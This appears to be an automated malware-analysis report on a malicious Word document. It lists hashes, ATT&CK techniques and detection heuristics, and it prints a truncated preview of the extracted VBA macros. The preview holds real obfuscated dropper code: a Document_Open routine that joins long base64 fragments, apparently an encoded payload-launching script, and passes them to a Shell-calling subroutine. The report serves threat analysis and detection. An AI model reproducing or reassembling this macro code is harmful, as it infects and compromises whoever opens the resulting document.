Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 e31f26fbb1265cef…

MALICIOUS

Office (OLE)

148.0 KB Created: 2018-01-29 21:46:00 Authoring application: Microsoft Office Word First seen: 2019-04-18
MD5: 3944464c989438ff54697b4e190c9b19 SHA-1: e0c315a7c217cb7cace5f307e5e1ea4d3761f899 SHA-256: e31f26fbb1265cef7403c4204fe2d47cf27617a6f9e166b2416cbffdafe34a28
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1059 Command and Scripting Interpreter

The sample is a Microsoft Office document containing VBA macros, specifically a Document_Open macro that utilizes the Shell() function. This indicates an attempt to execute arbitrary code. The presence of a 'Doc.Macro.Obfuscation-6332451-0' ClamAV detection further supports its malicious nature. The VBA script is heavily obfuscated, but the primary intent appears to be the execution of a secondary payload.

Heuristics 7

  • ClamAV: Doc.Macro.Obfuscation-6332451-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6332451-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 21639 bytes
SHA-256: cdc63244ec67877b436df12166fc38deb357b5912b3a7ce04c4741df4c30426c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 5 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Sub Document_Open()
Dim mmcZA
mmcZA = Array("uIlapCFmE", "B3LszI")
xViCbm = mmcZA(0)
Dim uShzo
uShzo = Array("ziPgu")
lFP6kte38 = uShzo(0)
If Len("Ba7EH1qy") <> 228 Then
' qs8QC3yR
Else
' NQsBv9bS
MsgBox "OiOEWa", 44, "odx3D7"
End If
gHKcGkC1 = "WTIxa0lDOWpJSE5sZENCZllURTljRzkzSmlZZ2MyVjBJRjloTWoxbGNuTm9KaVlnYzJWMElGOWhNejFsYkd3bUppQmpZV3hzSUN"
usM9F = "WZllURWxKVjloTWlVbFgyRXpKU0FrUWpOQ1pXMVROSGdnUFNBbmIwUmhOMjFqZWpFMUp6c2tRblpOTWxOS2Iyb2dQU0J1WlhjdGIySnFaV04wSUZONWMzUmxiUzVPWlhRdVYyVmlRMnhwWlc1ME95UlpOak5YYXlBOUlDZDFlRU5NWlZrbk95UmtZM3AwYUdVeGExa2dQU0FvVG1WM0xVOWlhbVZqZENBdFEyOXRUMkp"
If Len("yyNL1") <> 144 Then
' VEQIr
Else
' xMOA4
MsgBox "ixGEfF", 9, "Ol9j5DkW"
End If
Dim rZrAlV79z
rZrAlV79z = Array("XyY2EGQ7k", "OxFWRX")
JPhQZ3He = rZrAlV79z(0)
Dim j2NPZTA
j2NPZTA = gHKcGkC1 & usM9F
l3EHJRo7Q = "xWldOMElIZHZjbVF1WVhCd2JHbGpZWFJwYjI0cExuWmxjbk5wYjI0N0pIcHVPVVp3TmxKMUlEMGdKMmw1UjNJM0p6c2tRblpOTWxOS2Iyb3VhR1ZoWkdWeWMxc25kWE5sY2kxaFoyVnVkQ2RkSUQwZ0pHUmplblJvWlRGcldUc2tZbXBFV0VaNVRYZ2dQU0FuUW1sVVRFcGlKenNrWkdONmRHaGxNV3RaTG"
t7BFn = "1Oc2IzTmxLQ2s3SkdkWlZtRkZiMDFDSUQwZ0oyMTNiblF4Snpza1pHTjZkR2hsTVd0WkxuRjFhWFE3SkhoSlpVRmlXaUE5SUNkSGVVZ3hVMkp2Snpza1ZVNWxTREZOVHlBOUlDUmxiblk2ZEdWdGNDQXJJQ2RjTkRJME1UWXVaWGhsSnpza1EyWTVTRlZKSUQwZ0owUnVOVXBxZVNjN1ptOXlaV0ZqYUNna2QwaGxORWR1YTF"
Dim cxs76
cxs76 = Array("qULX0VZGS", "km7IS0")
YfsZDjb = cxs76(1)
Dim utJCfMj0
utJCfMj0 = Array("ZfogY8")
m4NZq = utJCfMj0(0)
If Len("nCl9njIJU") <> 138 Then
' gkNuV5DLm
Else
' F9FC7
MsgBox "moSqYN8HC", 49, "ermJX"
End If
Dim crdUXito
crdUXito = l3EHJRo7Q & t7BFn
gCekx = "ZZ2FXNGdKMmgwZEhBNkx5OTNhV3BrY1hkaWJuUjFjWGRsWW5GM1pYRjNhWHA0WXk1a"
YYUK98 = "mIyMHZjM1JoZEdFdmFYUnlZVzR5TG1sdVpHVjRMbkJvY0Q5eWJtUTlNakk1TmpNc1AzSnVaRDB5TWprMk15dy9jbTVrUFRJeU9UW"
dF70nbs = "XpMRDl5Ym1ROU1qSTVOak1zUDNKdVpEMHlNamsyTXljdVUzQnNhWFFvSnl3bktTbDdkSEo1ZXlSRWMzVkNibEV3T1drZ1BTQW5kVmQyZWtkcFZFZ25PeVJDZ"
Dim qmQIG
qmQIG = Array("KyDJC3", "M7sDy21NA", "r2zFt3BeO")
XgDnTEi = qmQIG(1)
If Len("FEsh5") <> 187 Then
' TqJWfFQ9
Else
' WmjY2d1v
MsgBox "GBnOs", 22, "YWi9X2sn"
End If
Dim xXFncyo
xXFncyo = gCekx & YYUK98 & dF70nbs
UDCLIdHS = "Gs"
wReLAt5cz = "weVUwcHZhaTVFYjNkdWJHOWhaRVpwYkdVb0pIZElaVFJIYm10V0xsUnZVM1J5YVc1bktDa3NJQ1JWVG1WSU1VMVBLVHNrUTNGbk1Gb2dQU0FuY21kWmVGSktZMEZXSnp0VGRHRnlkQzFRY205alpYTnpJQ1JWVG1WSU1VMVBPeVJtU1dKTmFXNXN"
FfuX3QC = "NeUE5SUNkemIwbFRTME5JTjJVbk8ySnlaV0ZyTzMxallYUmphSHNrV1UxT09IUn"
Go3kwXDv6 = "lNU0E5SUNkV1FubEJPQ2M3ZlNSNFR"
Dim rAn4a
rAn4a = Array("DZHV4nG9t", "cg4Oh")
bQIc8l = rAn4a(0)
Dim KapGtL8
KapGtL8 = UDCLIdHS & wReLAt5cz & FfuX3QC & Go3kwXDv6
XKBv1Na = "rWm5UR0pO"
qPbRMOl = "T0c4Z1BTQW5iRkJ1TTJZd0p6dDk="
Dim V6uClq
V6uClq = Array("GREpclB", "GG1XPyETJ", "XvnDb")
sNrwXd = V6uClq(0)
Dim eweJp
eweJp = Array("YlSZD", "LCaXmrtO")
cqKjgQzU = eweJp(1)
Dim MiNXVRF
MiNXVRF = XKBv1Na & qPbRMOl
If Len("rUEu5NCXi") <> 145 Then
' hXKFUTR
Else
' YcgZu
MsgBox "kblsy", 23, "yVQaRo"
End If
If Len("qiuEZ9wIY") <> 145 Then
' iXE68V9kQ
Else
' yDw0eSb
MsgBox "cADcSplnk", 23, "irzFC4"
End If
izhCEp = j2NPZTA & crdUXito & xXFncyo & KapGtL8 & MiNXVRF
Dim izaf3oPm
izaf3oPm = Array("bjEG7", "etTbGmq")
fXWdwabrI = izaf3oPm(0)
Dim f21K8J
f21K8J = Array("YXvtDkfr")
SbcOK = f21K8J(0)
Dim taF1OTiy
taF1OTiy = Array("TBEHUpY", "HKwhmu98e", "UNihLH")
Sw29C = taF1OTiy(2)
If Len("EmRrT94yo") <> 200 Then
' sIBqs1
Else
' QMyRn
MsgBox "tcOk7", 32, "ZxLvjBlXc"
End If
Dim w6prJMHlQ
w6prJMHlQ = Array("JzSsqu")
j6gMG = w6prJMHlQ(0)
sex izhCEp
End Sub

Attribute VB_Name = "PtCTBK2"
Sub sex(InbR9)
Dim V6EOtrlxY
V6EOtrlxY = Array("rBsOVK", "xmc4WdJi", "WzIA4jC")
kYjPD4bJ = V6EOtrlxY(1)
Dim PDX9V
PDX9V = Array("OrNw5zM")
qjqP5cJN = PDX9V(0)
Dim edbLJ
edbLJ = Array("iO8XI6", "q5Gl2Z", "UPHGX7kdV")
... (truncated)

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